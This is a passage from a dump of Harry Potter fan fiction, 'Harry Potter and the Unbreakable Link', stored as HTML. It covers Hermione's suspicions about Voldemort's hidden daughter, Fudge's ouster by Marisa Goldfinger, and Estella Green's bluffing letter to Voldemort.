never to return.  No teacher or pupil knew where she had gone; if she\'d been abducted, or whether she\'d left of her own free will.  Professor Dumbledore tried contacting her through her mind, but she refused to answer.  Search parties failed to find her, and on the 17th of May 1965, almost nine months later, Professor Dumbledore announced that she was dead.  He could \'feel\' it, he said.  Sure enough, the next day the Ministry had been notified by the muggle police force that a woman answering Professor Thompson\'s description had been found washed up on a beach in Cornwall, as far away from Hogwarts as possible.  She had been dead about twenty-four hours.  Medi-wizards discovered that she had been killed by the illegal curse, Avada Kedavra.  It is believed that the rumour of the jinxed job of Defence against the Dark Arts originated when Professor Thompson disappeared.  She was sadly missed.\n</p><p>\n\'Aïda Thompson was mostly remembered for her very idealistic look at life.  She was very religious and encouraged religion in her pupils.  She was truly a good person.  She had ideals and she actually tried to make them come true.  She influenced many people.  She was a very fair teacher.  She was a good listener and she never punished anyone without hearing that person\'s story first.\n</p><p>\n\'She was not resentful if someone had been wrong.  She was determined to be a good Christian and wouldn\'t let this reputation go.\n</p><p>\'She worked without tire with the poor and it was this energy which marked the deeper part of her character which you only saw if you knew her well.  She was very passionate about what she believed right.  She was extremely impulsive.  Her lessons were made up on the spot, and once she had decided upon a certain course of action, she couldn\'t be put off.\n</p><p>\n\'She was always loved and respected by those who knew her and it is for those who didn\'t that I am writing this; so all may know of Aïda\'s excellence.\n</p><p>\n\'By Sarah Brunswick, an ex-pupil of Professor Thompson.\'\n</p><p>\nHermione was silent after she finished reading it.  Eventually she sighed and said softly, "Poor Professor Thompson.  She sounds very perfect.  Lucky Dumbledore!  She sounds a wonderful mother figure.  What a pity she did not have any children.  If there was such a man alive for me, I would marry him instantly!"\n</p><p>\nShe turned back a page to look at the photo of Aïda.  It looked oddly familiar.  She frowned a bit- she felt sure she recognised the face, but she was likewise sure that she had never seen the original.  What beautiful eyes!  Like Harry\'s!!  She was determined to find her likeness of Aïda.  She would simply have to look carefully at anyone who looked remotely like her.  Starting with Harry...\n</p><p>\nShe returned to the Common Room where Harry was losing splendidly at chess.\n</p><p>\n"Can I please have a look at the photograph album of your parents please, Harry?" she asked looking into his eyes.  They really were very like Aïda\'s, she thought.  She had never really looked before.  Harry frowned, and Hermione felt herself blush.  Why?\n</p><p>\n"What do you want to look at my album for?" he asked.\n</p><p>\n"Just... want to make a... comparison."\n</p><p>\n"Oh!" said Ron, "You want to see how much you look like Lily Potter!"\n</p><p>\n"Do I look like your mum, Harry?" Hermione asked in surprise.\n</p><p>\nIt took Harry less than a second to decide upon an answer, "You couldn\'t look less like my mum if you were trying.  I don\'t what Ron meant.  Why would you compare yourself to my mum?"\n</p><p>\nWhy indeed?  So why was she turning red?\n</p><p>\n"I know!" cried Ron suddenly, "let\'s watch Hermione make a prat of herself by trying to make her look even less like Lily Potter.  What spells do you know?"\n</p><p>\n"Well, there is one, actually.  Called Transmorphio-"\n</p><p>\n"That\'s what Estella Green did on her daughter!" interrupted Ron.\n</p><p>\n"Estella Green?" Hermione had never heard the name before.\n</p><p>\n"Yes of course," Harry said, "Voldemort\'s mistress."\n</p><p>\n"Voldemort has a mistress?!"\n</p><p>\nHarry and Ron looked at each other.  Hermione didn\'t know!\n</p><p>\nBut before either of them could say anything, however, Hermione rolled her eyes and said, "Oh, I see.  Well, who is she?"\n</p><p>\n"Who is who?" asked Harry.\n</p><p>\nHermione gave him a look, "It doesn\'t take a genius to work out what\'s biting you.  You say Estella Green was Voldemort\'s mistress.  You say she had a daughter.  I\'m not stupid, you know.  Spit it out."\n</p><p>\nThey spat it out.  They repeated everything that was in Harry\'s dream and everything Dumbledore had said afterwards.\n</p><p>\nHermione listened attentively, almost like in a lesson.  Harry imagined that she would suddenly start taking notes.\n</p><p>\nAt the end of the recital she stayed silent.  Harry and Ron looked at each other nervously, "Well?" said Ron.\n</p><p>\nHermione looked up from her hands and said quietly, "Well what?"\n</p><p>\nHarry sighed.  Typical Hermione, "What are going to do?"\n</p><p>\n"Nothing," shrugged Hermione, "we wait for something to happen.  Besides, you interrupted my chain of thought."\n</p><p>\nThe boys rolled their eyes and waited ten minutes for her to finish thinking.  At last she said, "Dumbledore said you were related to Godric Gryffindor, didn\'t he?"\n</p><p>\nHarry nodded.  This did not seem to have any bearing on who Voldemort\'s daughter.\n</p><p>\n"But not his heir?" Hermione persisted.\n</p><p>\n"Dumbledore didn\'t say I was," replied Harry.\n</p><p>\n"Ah."  She thought a minute then said, "I say, did you know Slytherin and Gryffindor were cousins?"\n</p><p>\n"Cousins!" cried Harry, "No!  How come?"\n</p><p>\n"I know- it is strange!  Slytherin\'s aunt married Gryffindor\'s father.  How else?"\n</p><p>\n"I don\'t know, but isn\'t it weird that someone like Gryffindor\'s father would marry someone as evil as a Slytherin?"\n</p><p>\nHermione sighed, "How do we know she was evil?"\n</p><p>\n"Well, it stands to reason doesn\'t it?" blustered Harry.\n</p><p>\nHermione shrugged and replied cryptically, "To your reason perhaps."\n</p><p>\nThen she leaned forward a bit and said, looking straight at Harry, "Someday perhaps someone will fall in love with Elvira?"\n</p><p>\n"Why are you looking at me like that?" asked Harry.\n</p><p>\nHermione seemed embarrassed and didn\'t look him in the eye, "I was just...warning you."  And with that she went up to her dormitory.\n</p><p></p><div class="center">*</div><p></p><p>\nHermione was pleased Lavender and Parvati weren\'t in the dormitory.  Digging in her trunk she retrieved a small red muggle notebook.  Holding it tight in her hand she retreated to the window, which had little corners of water vapour in the corners because of a light frost.  Leaning against the cold pane she looked out.  On the quidditch pitch the canary yellow robes of the Hufflepuff quidditch team were visible in the dusk.  In the paddock by Hagrid\'s old hut, Buckbeak was snoozing, his head tucked under a massive wing.  Sirius and Professor Sprout were discussing some new landscaping plans on the lawn.\nHermione felt rather disattached from her real self.  Had she really just said all those things?  And why had she blushed at Harry\'s eyes?  Why?  Could she possibly be right?  What she had worked out was possible, if you had a good imagination but it was still hardly credible.  Yet it was the only solution that could fit or even exist.  It even made sense in a sort of mathematical way.  But perhaps she had been wrong.  But what could she do if she was right?  Tell Dumbledore?  She answered in her own words, "Nothing!"  Let Voldemort make the first move, and then they would know how to respond.  \n</p><p>\nIn the mean time, she opened the notebook filled with Greek script.  She hadn\'t opened it since she had copied it down in the mansion in Greece.  That\'s when it all started, she thought bitterly.  If only the guards hadn\'t come along and she\'d needed the invisibility cloak.  Then I would have never known.  Her conscience told her she would have found out anyway, if she was right.  Heaving a sigh, she began to read the Greek under her breath.  There was nothing she could to do to stop it now: she was involved.  First she had to familiarise herself with the words, then she could learn it off by heart.  Then she could learn to recite it properly, then she could try it with her wand.  It was the longest charm she had ever seen.  She started to read and slowly began to learn the charm.         \n</p><p><i>This chapter has now ended.</i>\n'),
	(62, 7, '<i>Title:  Harry Potter and the Unbreakable Link (7/20)\n</i><p>\nAuthor:  Silvestria \n</p><p>\nE-mail:  <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>\n</p><p>\nCategory:  Mystery\n</p><p>\nKeywords:  Hermione Estella Harry Voldemort Aphrados \n</p><p>\nRating: PG\n</p><p>\nSpoilers:  All books\n</p><p>\nSummary:  Harry loses his invisibilty cloak in a mysterious manner before his seventh year starts. Dumbledore has a past, Hermione has a dangerous secret and Voldemort is looking for someone (not Harry). Slight H/H. Rated PG. I hope you enjoy it.\n</p><p>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n</p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\n Chapter 7- Crisis at the Ministery \n</p><p>\nThe days turned into weeks and the weeks into months, and before you could say, \'The boy who lived\' the term had slipped away.  The only thing of interest or importance that happened was an owl from Mrs. Granger saying that a rather rude man fitting Wormtail\'s description had called from the Ministry and wanted all sorts of details about Hermione.  It was clear now that Voldemort had no more idea of who his daughter was than Dumbledore had.  \n</p><p>\nThe term ended and the holidays started.  Hermione used the time to revise for her NEWTs which were fast approaching at Easter.  Harry practised quidditch and Ron played chess.\n</p><p>\nOne thing that Hermione had kept up from her fourth year was reading <i>The Daily Prophet</i>, and indeed, only one day after the holidays had started there was some real news to see...\n</p><p></p><div class="center">*</div><p></p><p>\nMarisa Goldfinger was the clever, responsible and trusted deputy to Cornelius Fudge.  She was Professor McGonagall\'s niece and was probably one of the most respected members of the Ministry.  She influenced Fudge in most matters and was liked by everyone who wasn\'t a dark wizard.  However, arguments were common.\n</p><p>\n"Fudge?" asked Marisa coming into Fudge\'s office.\n</p><p>\n"What is it?"\n</p><p>\n"Another death."\n</p><p>\n"What?  You-Know-Who?"\n</p><p>\n"No.  It seems she was killed by Pettigrew."\n</p><p>\n"Same thing.  Who was it?" Fudge asked, looking up.\n</p><p>\n"A witch called Mrs. Chang."\n</p><p>\n"Never heard of her."\n</p><p>\n"She lives in Sheffield.  Witnesses say that Pettigrew was asking questions about her daughter that she didn\'t want to answer."\n</p><p>\n"What sort of questions?" Fudge looked interested.\n</p><p>\n"Wanted to see her birth certificate and other things like that.  But this isn\'t the first," Marisa continued before Fudge could interrupt, "A muggle called Mr. Granger wrote to me last week about a person answering Pettigrew\'s description who had asked him and his wife questions about his daughter, a witch at Hogwarts, which he thought were offensive.  Pettigrew said he came from the Ministry, but the Grangers were suspicious and wrote to me.  There are other examples as well."\n</p><p>\n"Marisa," said Fudge, taking off his glasses, "I don\'t understand why you think so much of this.  Mrs. Chang\'s death was coincidental, and so what if You-Know-Who wants the birth certificates of some girls?"\n</p><p>\n"You-Know-Who isn\'t mad.  He must have a reason."\n</p><p>\n"Of course he\'s mad, Marisa!  He can\'t be held responsible for his actions.  He probably doesn\'t have a clue himself.  Madmen are like this, you know.  Monomania, I think it\'s called."  Fudge added importantly.\n</p><p>\n"I think you\'re the mad one here, Cornelius Fudge." Breathed Marisa angrily.\n</p><p>\nFudge stood up, his face going purple.  He pointed a trembling finger at her, "You\'ve gone one step too far this time, Goldfinger.  I\'ve put up with you for three years- with your attempted bullying and your cutting insults, and you\'ll go no further.  You\'re discharged, Goldfinger.  I never want to see you here again."\n</p><p>\nMarisa pursed her lips and turned towards the door.  \n</p><p>\n"Goodbye, Fudge.  I hope you find a good replacement- perhaps Pettigrew would be an excellent choice in your opinion." And with this comment she swept from the room.\n</p><p>\nAfter this things started to happen rather quickly.  The next day, Wednesday, <i>The Daily Prophet</i> published an article announcing the dismissal of Marisa Goldfinger.  \n</p><p>\nThursday\'s <i>Daily Prophet</i> mentioned in passing that a member of the Department of International Magical Co-operation and ten members of the twelve governing cabinet members had all resigned in protest.\n</p><p>\nBy Friday morning, three departments had nearly all been lost due to voluntary resignation.  A special edition <i>Daily Prophet</i> announced Friday evening that Gringotts had gone on strike until Fudge put Marisa back in office.\n</p><p>\nOn Saturday Death Eaters were seen patrolling unchecked the streets of muggle London and Professor Dumbledore left for the Ministry leaving Hogwarts in McGonagall\'s hands.\n</p><p>\nOn Sunday the number of officials who had left the Ministry was over half and the Prime Minister had got involved.\n</p><p>\nOn Monday <i>Teen Witch</i> started following the news in between make-up advertisements, and three muggles were killed in a Death Eater riot in Bond Street.\n</p><p>\nOn Monday evening a special edition <i>Daily Prophet</i> announced on the front page that Fudge had offered Marisa her job back.\n</p><p>\nThat week more people read the newspaper than ever before.  Even at Hogwarts you could always here Marisa\'s name mentioned in the corridors.\n</p><p>\nOn Tuesday morning the Bond Street riot hit the headlines of <i>The Sun</i> and <i>The Times</i>.  There were no wizards in the Department of Muggle Deception left, so other less well-trained wizards had to be sent to modify everyone\'s memory.\n</p><p>\nOn Tuesday evening the Ministry hit the headlines of the <i>Daily Prophet</i> again.  Backed by three-quarters of the Ministry, Marisa Goldfinger had refused to take her job back unless Fudge himself resigned!\n</p><p>\nAt Hogwarts everyone watched the papers with bated breath.  Would Fudge resign?\n</p><p>\n"I hope he does," said Harry, "then we might get someone who can actually do something about Voldemort."\n</p><p>\n"Just what I think," said Ron and Hermione.\n</p><p>\n"It\'s a pity Dumbledore is determined not to be Minister.  I can\'t think who else would be good enough," Hermione added thoughtfully.\n</p><p></p><div class="center">*</div><p></p><p>\nProfessor Albus Dumbledore sat in the Leaky Cauldron talking to his muggle friend, Lord Eldir.  Dumbledore had first met Lord Eldir when that man had inherited his title about three years ago.  Eldir was a friend of the Prime Minister and Dumbledore knew the Prime Minister.  Dumbledore had just told Eldir all the troubles of the wizarding world at the moment.  He found it very useful talking to Eldir.  He could get a reaction from someone impersonal.  Eldir could advise without being too involved- being a muggle.  It reminded Dumbledore of talking to- but that was all dead and buried.  Literally. </p><p> \nThey had just finished talking about Voldemort\'s daughter.\n</p><p>\n"Should I make it known to the Ministry, then?" asked Dumbledore.\n</p><p>\nEldir frowned, "I should think not, Albus.  It seems to me to be a lot of rumour if you ask me.  I don\'t know how important dreams are in the wizarding world, but it does seem a little strange to me to be relying on this Harry Potter\'s dreams only, with no real evidence."\n</p><p>\n"I believe Harry, Tim.  He often dreams about Voldemort, because of the connection with him through his scar.  All of his dreams have been true so far."\n</p><p>\nEldir shrugged, "I really cannot help you here, you know."\n</p><p>\nDumbledore continued, "And we have all the evidence that Voldemort has been trying to find who his daughter really is as well."\n</p><p>\n"You mean he doesn\'t know who she is?  There are things you haven\'t told me, Albus," he said, with a smile.\n</p><p>\n"True, true," replied Dumbledore, in the same way.  "I think Estella Green is the only one who knows definitely."\n</p><p>\n"This Estella Green was really Voldemort\'s mistress, then?  What a lot of wizards and witches there are who seem to be quite remarkable!  I should really like to meet some more wizards apart from you, Albus.  I\'m very curious to see an ordinary wizard."\n</p><p>\n"I\'m sure it could be arranged for you to meet someone.  They\'ll be very eager to meet a muggle like you.  No offence meant."\n</p><p>\n"I don\'t take offence, Albus.  You could say that you lot is my new hobby," laughed Eldir.\n</p><p>\nThey were silent a minute, and then Eldir took out a bag of pills, and, put one in his drink.  He laughed ruefully, saying, "For my rheumatism.  Us muggles don\'t have magical cures for such maladies, unfortunately."\n</p><p>\nDumbledore smiled.  After having drained his glass, pill and all, Eldir said thoughtfully, "You know your famous Harry Potter has his exams this year?  The equivalent of Advanced Level."\n</p><p>\n"Ye-es," replied Dumbledore, unsure of where this conversation was going.\n</p><p>\n"Well, I wondered, I would have thought that after his exams he might like a holiday."\n</p><p>\n"The Easter holidays are straight after the NEWTs."\n</p><p>\n"Indeed?  I was merely thinking that it would give me very great pleasure to receive Harry Potter at my castle in the Easter holidays, for a week perhaps.  He could show me and my household some magic, if you gave him permission.  I would find it fascinating."\n</p><p>\nDumbledore hesitated.  He was sure that Lord Eldir would take good care of Harry in the holidays.  But surely if he left Hogwarts he would be very vulnerable to Voldemort?  However, if Voldemort was involved in searching for his daughter then perhaps he wouldn\'t try to get at Harry.  And then there were Ron and Hermione.  \n</p><p>\n"What about his two friends, Ron Weasley and Hermione Granger?  He would find it lonely without them."\n</p><p>\n"Ron and Hermione are very welcome as well of course.  I wouldn\'t dream of separating Harry from his friends.  The more the merrier!  But, Albus, surely you have told me all about the Weasleys?  How loyal they are to you?"\n</p><p>\n"Indeed I must have done, if you remember the name so well," replied Dumbledore, smiling.\n</p><p>\n"And is Harry\'s friend really a Weasley?"\n</p><p>\nDumbledore nodded.\n</p><p>\n"I do not remember the girl\'s name, however, and you have mentioned many wizarding names to me."\n</p><p>\n"Ah!  Miss Granger\'s parents are muggles.  That\'s why you haven\'t heard the name before."\n</p><p>\n"They are muggles?  Are you sure?" asked Eldir with raised eyebrows \n</p><p>\n"I know what you are thinking, Tim."\n</p><p>\nThere was a pause.  Eventually Eldir asked, almost hesitantly, "You must have some idea who she is?"\n</p><p>\nDumbledore looked at the Lord then said, "I do have suspicions, and I\'ll only be too glad to tell you what they are.  This is a wizarding bar, however, and I wouldn\'t want to be overheard.  They are only suspicions after all.  Come, I\'ll get the bill and I\'ll tell you on the way to Westminster."\n</p><p></p><div class="center">*</div><p></p><p> \nOn a hot balcony somewhere foreign, a lady was sitting reading, <i>La Nuova Strega</i>.  Suddenly with a leap she jumped up from her wickerwork chair and looked wildly around.  She poked her head round the full length shutters that separated her hotel room from the balcony and shouted, "Susanna!"\n</p><p>\nThere was no reply, and the lady repeated the call, adding on, "Vieni qui, subito!"  <i>(Come here, immediately!)</i>\n</p><p>\nThere was a scurrying of footsteps and presently a neatly dressed middle-aged woman appeared on the balcony.  "Si, signora?  Avete chiamato?"  <i>(Yes, Madam?  Did you call?)</i>\n</p><p>\nThe lady rolled her eyes up to the blue sky.  "Si, ho chiamato almeno mille volte, Susanna."  <i>(Yes, I called at least a thousand times.)</i>\n</p><p>\nSusanna curtsied, "Mi scusi, signora."  <i>(I\'m sorry, Madam.)</i>\n</p><p>\nThe lady threw the newspaper at Susanna, "Leggi questo.  Cosa ne pensi?"  <i>(Read this.  What do you think?)</i>\n</p><p>\nSusanna read the article then said slowly, "Non capisco, signora.  Mi dispiace, signora.  Perché é importante?"  <i>(I don\'t understand, Madam.  I\'m sorry, Madam.  Why is it important?)</i>\n</p><p>\nThe lady gestured to let Susanna sit down.  "Ti spiego in inglese.  So che capisci l\'inglese benissimmo.  Allora...  This article is about what is happening now in England."  <i>(I\'ll explain in English.  I know that you understand English perfectly.  So...)</i>\n</p><p>\n"Si signora, quello giá lo so. The Minister of Magic has been forced to resign."  <i>(Yes, Madam, I already know that.)</i>\n</p><p>\n"Brava!  Well, you took something in.  Now listen, Susannah.  If you had just been forced to abandon your position-"\n</p><p>\n"La mia signora non farebbe mai una cosa cosi!" replied Susanna, sounding shocked.  <i>(My mistress would never do a thing of the kind!)</i>\n</p><p>\nThe lady pursed her lips, "Vediamo...  Now listen and don\'t interrupt.  If you had been forced to abandon your position, you would not like the people who had made you, would you?"\n</p><p>\n"No, signora."      \n</p><p>\n"Exactly.  And if someone offered revenge against them, would you join them?"\n</p><p>\n"Forse."  <i>(Perhaps.)</i>\n</p><p>\n"Of course you would.  You know my dear friend, Tom Riddle?  I believe he will have thought of this as well as I have.  He will try to get Fudge on his side.  We must get there first.  Fudge will be an invaluable spy.  Tom will not win.  Capisci adesso?"  <i>(Do you understand now?)</i>\n</p><p>\nSusanna nodded, her mouth hanging open.  The two women sat there for a second.  Then the lady spoke again to herself, her mouth twisted into a smile, "Tom may have the support of half of England, but I have the support of half Europe.  You\'ll never win, my Lord."\n</p><p>\nSusanna did not reply and presently her ladyship spoke again with more energy, "Allora, Susanna, vai e comprami un <i>Daily Prophet</i>.  Devo leggere tutti i dettagli."  <i>(Well, Susanna, go and buy me a </i>Daily Prophet<i>.  I must read all the details.)</i>\n</p><p>\nSusanna bowed her head, "Vado, vado.  Lei vuole qualcos\' altro?"  <i>(I\'m going, I\'m going.  Do you want anything else?)</i>\n</p><p>\n"No, grazie.  Adesso vai!"  <i>(No thanks.  Now go!)</i>\n</p><p>\nSusanna left the room quickly.  The lady leaned over the balcony rails, and presently saw her hurry down the cobbled street.  She stood there a minute soaking up the winter sun and gazing into space when she saw an owl flying towards her.  It was a magnificent owl, golden and gleaming, but she saw none of it.  \n</p><p>\nWho knows where I am? she thought, then remembered that owls could find anyone anywhere, even without an address.\n</p><p>\nAs the owl swooped down onto <i>La Nuova Strega</i> she grabbed the parchment from the its feet.  It preened a little and then sat looking important.  \n</p><p>\nThe letter was addressed in a neat hand to \'Miss Estella Green, wherever she may be\'.  Estella opened in eagerly.  She had a good idea who it was from.\n</p><p><i>\n\'My dear Estella,\n</i></p><p>\nLong time no see?  I hope you miss me as much as I miss you.\'\n</p><p>  \nEstella raised her eyebrows.  \n</p><p><i>\n\'We parted in quite bad humour, I remember.  I hope you forgive me now, my dear, for I am sure it must have been my fault.\'</i>\n</p><p>\n"Laying it on a bit, aren\'t you?" muttered Estella. \n</p><p><i>\n\'I seem to remember that soon after we parted I was actually defeated by young Harry Potter.  Your caution was right.  How can I ever forgive myself for not being guided by you?\'</i>\n</p><p>\n"How indeed?"\n</p><p><i>\'We were quarrelling over our daughter, I remember.  How like other parents we then were!  I always thought it was a shame that we parted as we did.  I was never told the name of my own daughter after she was transformed.  Now she is eighteen and alone in the world, not knowing her own past or future.  You must know how much I wish to see my dear Elvira again, but how can I have that pleasure if I do not know the name she passes under?\'</i>\n</p><p>\n"I thought we\'d get there eventually," thought Estella, a wide grin on her lips.\n</p><p><i>\n\'I am writing to you, dear Estella, to ask for your collaboration in this business.  If I only knew who Elvira thought she was, then my plans would be complete.  Harry Potter is already in the palm of my hand, I think.\'</i>\n</p><p>\n"You only think?"\n</p><p><i>\n\'I long to see you again, dearest Stella.  Maybe, if you return to me, we could have a family reunion!?\n</i></p><p>\nAll my love, your Lord Voldemort\'\n</p><p>\nWhen she had read the letter, Estella stared at it in surprise, before collapsing on her chair in a laughing fit.  When she had sufficiently recovered she coughed and fixed the owl with a sharp stare, reminiscent of Professor McGonagall.  She sat up straighter her eyes dancing merrily. \n</p><p>\n"Absence makes the heart grow fonder, I suppose?  Poor Tom, he must really think me very stupid, if I am to be taken in by that!  I see what he\'s up to.  He must be really desperate."\n</p><p>\nShe narrowed her eyes, and pulling out her wand muttered, "Accio Quill!"\n</p><p>\nHer quill flew towards her out of the room.  She caught it deftly and turning the letter over, tapped her quill against the parchment.  "Two can play this game."\n</p><p>\nShe sucked her quill a bit, then wrote,\n</p><p><i>\n\'Dear Tom,\n</i></p><p>\nHow nice of you to remember me!  I too am very sorry we parted on such bad terms.  I really was very angry with you then, but all that has now evaporated.  \'Absence makes the heart grow fonder\' and all that.  I understand, I really do.  Your idea of a family reunion sounds splendid.  I can\'t wait to see you and Elvira again.  How she must have grown!  I\'m so proud of my little daughter!  As you say, she must be eighteen now.  I really am a proud parent.  Who wouldn\'t be, with you as the father?  I hope you see her soon.  I was really sorry to hear of Harry Potter\'s victory over you.  Still, you\'re back in power now.  What do you mean, he\'s in the palm of your hand?  It seems that you\'ve thought out a nice little plan without my help!  I daresay I\'ll see you soon.\n</p><p>\nAll my love,\n</p><p>\nE.G.\'</p><p>\nShe folded up the parchment and put it in the envelope, erased the address to herself with her wand, and wrote, \'Lord Voldemort, wherever he may be\', sealed it and tied it to the owl\'s foot.  Then she took up her wand and said, "Concelio Indrum!" and let the owl fly off towards the sun as she waved her hand after it.  \n</p><p>\nShe watched it disappear then threw back her head and laughed merrily.\n</p><p>\n"You bluff, and I double bluff."   \n</p><p><i>This chapter has now ended.</i>\n'),
	(62, 8, '<i>Title:  Harry Potter and the Unbreakable Link (8/20)\n</i><p>\nAuthor:  Silvestria \n</p><p>\nE-mail:  <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script>\n</p><p>\nCategory:  Mystery\n</p><p>\nKeywords:  Hermione Estella Harry Voldemort Aphrados \n</p><p>\nRating: PG\n</p><p>\nSpoilers:  All books\n</p><p>\nSummary:  Harry loses his invisibilty cloak in a mysterious manner before his seventh year starts. Dumbledore has a past, Hermione has a dangerous secret and Voldemort is looking for someone (not Harry). Slight H/H. Rated PG. I hope you enjoy it.\n</p><p>\nDisclaimer:  This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.\n</p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 8- Christmas!\n</p><p>\nWhat Estella had read in <i>La Nuova Strega</i> was in fact correct.  Cornelius Fudge had resigned and Marisa Goldfinger was now Minister of Magic.  However she claimed in an interview on the Christmas Day supplement, that she was only in position temporarily, and that she really did not want to be Minister permanently.  The article ran as follows,\n</p><p></p><div class="center"><i><span class="u">Wanted- Minister of Magic</span>\n</i></div><p></p><p>\nBy Special Correspondent, Valerie Confident\n</p><p>\nThis morning Miss Marisa Goldfinger, Minister of Magic, told a Daily Prophet reporter that she did not want to remain in her present political position.  On being asked why she caused such chaos she replied that the other officials resigned of their own choice.  I had no intention, she claims, of causing any confusion at all.  ‘However, I think that Fudge is not the right man to lead the country in this time of crisis,’ admits Miss Goldfinger, ‘When I knew that I had him in my power, I couldn’t resist getting rid of him.  I did not do it for my own greed.  I am not sure I am the right person to take control here, either.  I sincerely hope my name may not be put down in records as a Minister of Magic, especially as the first female minister; I want that title to go to someone else sometime.  At the moment, the Governors and I are searching for a possible candidate for the post of Minister.  Anyone is welcome to apply, I can guarantee that all applications will be considered.’\n</p><p>\nIf you know someone who might be suitable for the post write to Marisa Goldfinger, Ministry of Magic Headquarters, Diagon Alley, London.  Please remember, that all applications will be taken seriously.  If you write in, the Minister may consider you as a possible candidate.\n</p><p>\n“Well,” said Hermione after she had finished reading the article, “we are in a mess here.”\n</p><p>\n“Why?” asked Ron.\n</p><p>\n“I would have thought it was obvious.  With the Ministry in confusion it would be very easy for it to be attacked.  Also, Fudge won’t be too pleased about being forced to leave the Ministry and may join the Dark side.”\n</p><p>\nRon’s jaw dropped, “I hadn’t thought of that.”\n</p><p>\n“Rest assured Voldemort will have thought of it.”\n</p><p>\n“Don’t say his name!” said Ron through gritted teeth, “you’re as bad as Harry."\n</p><p>\n“Is that a compliment or the reverse?” asked Hermione smiling, as Harry walked into the Common Room.\n</p><p>\n“Look at this, Harry!” cried Hermione jumping up and thrusting the newspaper into his hands.\n</p><p>\n“Merry Christmas to you too, Hermione!” grumbled Harry good-humourdly, “is this my present?”\n</p><p>\n“Of course not, silly!  It’s a newspaper.”\n</p><p>\n“Wow, you don’t say!” said Harry sitting down to read the article.\nWhen he had finished he said, “Looks like the Ministry’s going to have fun.”\n</p><p>\n“Harry!”\n</p><p>\n“OK, OK, Hermione, keep cool.  Seriously though, I really don’t want to discuss it now, on Christmas day.”\n</p><p>\nHermione made no reply and looked at her hands.  After a bit she said calmly, but a little constrained, “I think we should look for Voldemort’s daughter.  After all, it is the holidays, so if we snoop around a little, no-one will notice.”\n</p><p>\n“That’s a point!” said Ron, eagerly.  “Let’s get going.  Right, she won’t be anyone in Gryffindor-”\n</p><p>\n“Steady on, Ron,” replied Hermione, “we can’t totally rule out Gryffindors.”\n</p><p>\nHarry frowned, “But Hermione, I don’t see how Elvira could possibly be a Gryffindor.  She- she’s the daughter of the most evil wizard ever!”\n</p><p>\n“Harry, she doesn’t know who she is.  Remember, she could actually be good.  Anyway, if she’s meant to be muggle born then she can’t be in Slytherin.  All Slytherins are pure blood, and if there was a Slytherin who supposedly wasn’t, then we would have known before now.”\n</p><p>\n“She’s got a point there,” mused Ron.  Harry however, stood up and said angrily to Hermione, “OK, so who is she?  Hermione Granger, Parvati Patil, Lavender Brown, Ginny Weasley, Phillippa Spinnet, Carly Atkinson or Michelle Lorry?  Take your pick.  I personally go for Granger.”\n</p><p>\n“Don’t get yourself so worked up,” snapped Hermione without sounding really angry, “you are paying me a great compliment by saying I am the daughter of the greatest sorcerer ever.”\n</p><p>\n“Thanks.”\n</p><p>\n“You know, she could be in Ravenclaw or Hufflepuff, not just Gryffindor?” said Ron, “By the way, stop fighting, you two.  It’s annoying.”\n</p><p>\nHarry grinned, “So you know what it feels like?”\n</p><p>\nRon looked innocently at Harry while Hermione tried not to laugh, “I’m never going to fight with Hermione again.  Ever.”\n</p><p>\nHarry stared at them happily.  Hermione looked at the floor and said unhappily, “Ron, I don’t like you in that way.  I wish I did.  But really,” she added more spiritedly, “We are eighteen.  You don’t fall in love at eighteen, unless you’re Romeo and Juliet.”\n</p><p>\nHarry frowned, “My parents ran away from Hogwarts to get married when they were eighteen.”\n</p><p>\nHermione gave him a look that made Harry almost think she had said, "That doesn’t help me prove my point, Harry.”\n</p><p>\n“I think it could happen again.  Would you run away with anyone from Hogwarts, Hermione?” asked Ron, hopefully.\n</p><p>\n“Certainly not.  This conversation isn’t going anywhere.  Falling in love with your friends is ridiculous.  If you really want to know, I don’t want to get married at all.  I want a profession.”\n</p><p>\nHarry grinned, he could just picture Hermione a few years hence, a younger type of Professor McGonagall, wringing her hands at someone saying, ‘But, darling, I want a profession!’ “I bet you’ll have changed your mind in a few years,” he said.\n</p><p>\nHermione looked suddenly looked very sad, “I know I will.  I can’t help it.  I think.”\n</p><p>\n“How come you know?” Harry asked in surprise, this wasn’t the answer he had expected.\n</p><p>\n“You’re the not the one who knows their future, but not their past or present!”  And with this she ran up the stairs to her dormitories.\nHarry and Ron stared at where she had gone, “What’s biting her?  Was it my fault?” asked Ron anxiously.\n</p><p>\nHarry shook his head, “Really good Christmas Hermione is having.”\n</p><p></p><div class="center">*</div><p></p><p>\nAnother girl who wasn’t having a good Christmas was sitting on her four poster in a draughty bedroom.  She had no presents.  No parents to care for her at ‘The Season of Goodwill’.  Because she was a…  She bit back the words angrily.  They were of no use.  